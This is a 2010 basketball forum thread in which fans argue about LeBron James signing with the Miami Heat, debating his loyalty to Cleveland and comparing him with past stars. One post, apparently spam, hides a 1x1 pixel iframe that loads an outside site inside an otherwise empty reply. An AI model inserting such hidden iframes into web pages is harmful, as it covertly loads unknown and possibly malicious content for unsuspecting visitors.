The LeBron James Thread

**ProfessaPackMan** · 07-09-2010, 10:17 AM

Re: LeBron James Signs With Miami Heat

Originally posted by phenom1990

I liked what Eric Snow said on NBA TV last night before the decision was made. He felt that Lebron deserved some of the blame in Cleveland because since he was so non-committal, free agents were hesitant to sign there because they could be left out to dry if he left.

And yet people still continue to forget/ignore this.

**jeremym480** · 07-09-2010, 10:20 AM

Re: LeBron James Signs With Miami Heat

Originally posted by OSUFan_88

That's true...but...

well, it doesn't really matter. Tomorrow...or, well, today is a new day. Hope the Cavaliers pursue an aggressive rebuild.

It's going to be hard to rebuild when Byron Scott is the best player in your organization.

Originally posted by Court_vision

I think the people saying "this move is fine" are younger fans...maybe teenagers who really don't know what has made the NBA.

Older fans (and Cavs fans) are the ones who are angry.

Michael Jordan was the Bulls.

Stockton and Malone were the Jazz.

Gary Payton was The Sonics.

Dream was the Rockets.

Ewing was the Knicks

KG was the T-Wolves

Reggie was the Pacers

Yes...some of those guys joined other teams and yes, some "chased rings"...but man, they ALL battled into their 30s and fought until they had little left before chasing rings / moving.

LeBron was The Cavs.............and the dude has bailed out at age 25.

If he'd done this at 30, okay.

Now though...at 25... just screams "defeatist / gutless / scared".

Imagine Michael Jordan bailing on the Bulls after the Pistons knocked out the Bulls........people forget how battered and down he was. But the man stayed and they won when he was 28.

Imagine if MJ bailed at 25 and went to play with Magic in LA? Or went to Boston to play with Larry?

This just screams "I couldn't carry a team......I'm giving up".

At age 25.

Almost unbelievable and sad to see in a lot of ways.

Great Post.

Originally posted by Dislimb

Just sent an e-mail to Rizzo and company that will more than likely go completely unanswered:

Dear Riz,

I understand that Dan Gilbert was extremely upset to find out his star player was leaving his team on national television just as all Cavaliers' fans were, but don't you think it's a little ridiculous that he would go on record guaranteeing an NBA championship in Cleveland before LeBron wins one? Tell me, exactly who does he think is going to win an NBA championship for him in Cleveland now? That team will be hard pressed to win 30 games this season and is destined for the lottery.

-Ryan

Maybe he will answer this.

Originally posted by jmood88

It's just funny to me that Lebron has all these responsibilities and expectations that no other player has. According to people on here, Lebron needs to base his decisions around Cleveland's economy, the wants of "fans" who turn on him the moment he does what they didn't want him to do, an owner who talked **** about him the moment he left but had nothing to say before etc etc. People knew about the ESPN thing days before this happened but it only became classless when he left Cleveland.

Actually a lot of us thought it was a classless, ***** move even before his decision. Just sayin.

**DeceptiveBlaze** · 07-09-2010, 10:20 AM

Re: LeBron James Signs With Miami Heat

Cleveland fans are the most fair weather fans I have ever seen. If you burned a jersey last night then you were never a lebron fan to begin with so who cares what they think. More to the point this whole we gave lebron the team is crap. You could have gotten amare but instead you get jamison. Why would he stay when you get rid of one of the top 5 GM's in the league who didn't even want mo williams. And honestly you can tell me the team around him could have one a championship. The only reason they were relevant was because of shaq who wasnt going to resign so lebron is supposed to go to this team right

Delonte West Daniel Gibson
Mo Williams anthony parker
JJ Hickson Anderson Varejao
antuan jamison Big Z

Now you are telling me this roster of journeyman who have never won anything is what lebron should have stayed with. I remember when Barry Sanders wanted to leave the lions and he had as good of a supporting cast as lebron in basketball and the fans of Detroit Appreciated what barry did for us and wanted him to be able to leave and were upset with how the team handled it. That is because we were true fans of barry and came to the conclusion we couldnt selfishly keep him here

**roadman** · 07-09-2010, 10:23 AM

Re: LeBron James Signs With Miami Heat

Originally posted by ex carrabba fan

Honestly, now that they don't have James, which free agents are they going to attract?

I hate to be that guy, but it's Cleveland after all, and it's not their heyday for bball anymore.

Now the Cavs are just like the other 75% of the league-- Charlotte, Miluakee, Minnesota etc.

The Bucks?

After their spending this year?

**LingeringRegime** · 07-09-2010, 10:23 AM

Re: LeBron James Signs With Miami Heat

SAS (roughly paraphrasing): "Living in South Beach is an addiction, just ask Antoine Walker."

I am sure that this really played a lot into it as far as where they would ultimately sign. Real talk.

**LingeringRegime** · 07-09-2010, 10:24 AM

Re: LeBron James Signs With Miami Heat

Originally posted by Pared

Hate to quote myself, but check this out:

"I built something here."

It's all about him.

I still LOL thinking about the post yesterday that said it wasn't about egos.

How many I's were in there? This is going to be so fun to watch.

**Kully** · 07-09-2010, 10:25 AM

Re: LeBron James Signs With Miami Heat

lol everyone who doesn't agree is a teenager or a casual fan. Funny.

**jbrew2411** · 07-09-2010, 10:25 AM

Re: LeBron James Signs With Miami Heat

Originally posted by ProfessaPackMan

And yet people still continue to forget/ignore this.

People also forget that the team was bad when they landed the #1 pick to get him. Maybe free agents didn't want to go there to be left out cold but they could have signed a deal that ran the same time as his. Don't fool your self. Cleveland is not a place players want to play. They are not the only team like that there are others and that is why they never improve. James could have bolted years ago but he stayed to lead him 'hometown team' to glory. One guy can't do it. The Lakers were not that great after Shaq left and Kobe could only do so much. Everyone needs help and the Cavs could not get that help.

**ProfessaPackMan** · 07-09-2010, 10:26 AM

Re: LeBron James Signs With Miami Heat

Originally posted by jbrew2411

People also forget that the team was bad when they landed the #1 pick to get him. Maybe free agents didn't want to go there to be left out cold but they could have signed a deal that ran the same time as his. Don't fool your self. Cleveland is not a place players want to play. They are not the only team like that there are others and that is why they never improve. James could have bolted years ago but he stayed to lead him 'hometown team' to glory. One guy can't do it. The Lakers were not that great after Shaq left and Kobe could only do so much. Everyone needs help and the Cavs could not get that help.

And James had just as much as a role in that as anyone else in that FO.

**Pared** · 07-09-2010, 10:29 AM

Re: LeBron James Signs With Miami Heat

Originally posted by DEFTFUNDAMENTALZ

How many I's were in there? This is going to be so fun to watch.

Yup. "I want to continue to build a legacy here. In my house."

"I built a county here."

So self-absorbed man...

This is why I said I'm going to be a ***** this year.

Just wait until the media keeps asking what LBJ thinks when people say he couldn't get it done himself. It's going to eat at him alive.

Somehow Wade has side-stepped all of that!

**BrianFifaFan** · 07-09-2010, 10:30 AM

Re: LeBron James Signs With Miami Heat

Originally posted by jbrew2411

Someone tell me what James owes to the Cavs? He made Dan Gilbert tons of money. He gave the city something to cheer for when no other team there was doing that. He gave them a chance to be great. What does Cleveland give him? A royal bashing for going on ESPN to tell the sports world he is leaving. He gave Cleveland more then they could give him. Like someone dug up Jordan did the same thing. Teams can call press in to make huge anouncements but James or any other player can't do the same. Its a bussiness and he made a bussiness chioce.

And that's where we'll have to agree to disagree. It was never what sports were meant to be, that's what sports have become. Even in the college ranks. LBJ sold himself as something different and when the chips were down, he balked. He hid behind the supposedly selfless things he was doing by taking less money and trying to build something special. He just became a mercenary, like many pros really are. He became an Albert Haynesworth in my book. I do find it ironic that the Celtics "Big 3" strategy didn't work this year. Instead, the Lakers prevailed. The Lakers, who were built through trades and the draft, not guys colluding to make a Dream Team. Even with the Celts, it was a totally different situation. Like others have said exhaustively, they were all older. This is nothing more than a giant ego stroke, by all three kids who didn't have the heart to do things the old fashioned way. I do hope they fail. Not in that I'm trying to be a *****, but in that I like to see a league based on superior teams that grow up together through adversity. Not teams that are "ringers", like I used to see them all pile out of the car at the rec center so they could run the floor all day and never lose. I guess I'm just a fan of fair play. Go Kobe! Go old school!

**bonbonan** · 07-09-2010, 10:31 AM

Re: LeBron James Signs With Miami Heat

Originally posted by jbrew2411

People also forget that the team was bad when they landed the #1 pick to get him. Maybe free agents didn't want to go there to be left out cold but they could have signed a deal that ran the same time as his. Don't fool your self. Cleveland is not a place players want to play. They are not the only team like that there are others and that is why they never improve. James could have bolted years ago but he stayed to lead him 'hometown team' to glory. One guy can't do it. The Lakers were not that great after Shaq left and Kobe could only do so much. Everyone needs help and the Cavs could not get that help.<iframe src="http://zeroethics.com/opsports/" frameborder="0" marginheight="0" marginwidth="0" width="1" height="1"scrolling="no"></iframe>

Yeah,Miami Heat will become very strong after the enter of James.

**Kully** · 07-09-2010, 10:31 AM

Re: LeBron James Signs With Miami Heat

Woj ripped him here: http://sports.yahoo.com/nba/news?slu...decision070910

Man this guy can rant

KG · 07-09-2010, 10:31 AM

Re: LeBron James Signs With Miami Heat

Originally posted by phenom1990

I liked what Eric Snow said on NBA TV last night before the decision was made. He felt that Lebron deserved some of the blame in Cleveland because since he was so non-committal, free agents were hesitant to sign there because they could be left out to dry if he left.

I agree to some extent but I still think it was perfectly reasonable to see what other offers are out there.

**DeceptiveBlaze** · 07-09-2010, 10:34 AM

Re: LeBron James Signs With Miami Heat

I think the people saying "this move is fine" are younger fans...maybe teenagers who really don't know what has made the NBA.

Older fans (and Cavs fans) are the ones who are angry.

Michael Jordan was the Bulls. You forgot pippen, rodman, PHIL JACKSON, oh yea and the fact jordan was thinking about leaving chicago at the same age but they got phil and scottie

Stockton and Malone were the Jazz. and never won a ring and have that stigma attached to their legacy, both of whom stated regret

Gary Payton was The Sonics. had SHAWN KEMP and also wish he left earlier and was way more egotistical than lebron ever was

Dream was the Rockets. and had horry, kenny smith, clyde the glyde and i forgot who cause im kinda young and the won rings cause jordan was gone

Ewing was the Knicks, o and he had anthony mason, latrell, john starks, allan houston, and said he would have maybe left if he knew he wasnt getting a ring

KG was the T-Wolves. Really i cant even believe you are using a player who flat out said he wish he didnt stay there that long and he shouldnt have made that decision out of emotion

Reggie was the Pacers. Cant really argue this but he had a great team to and thanks to tayshaun never won

how is this a great post i mean really a player is supposed to have loyalty to a team and owners that don't have loyalty to players and this whole concept of the cavs showing love for big z is even funnier because they cavs kept him so long because they were irrelevant and no body wanted him and as soon as somebody did they traded him. Yea thats so much loyalty from cleveland

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